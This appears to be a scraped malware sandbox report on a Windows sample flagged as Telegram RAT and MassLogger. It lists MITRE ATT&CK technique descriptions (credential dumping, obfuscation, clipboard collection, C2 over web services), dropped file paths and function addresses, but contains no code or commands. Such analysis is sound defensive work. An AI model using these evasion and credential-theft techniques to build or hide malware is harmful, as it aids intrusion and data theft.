Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZaRP7yvL1J.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Haskness.Lux

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Paagribelsens.Obs

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\prepares.pli

C:\Users\user\AppData\Local\Temp\nsyB6C9.tmp

C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
ZaRP7yvL1J.exe

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 6F951777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre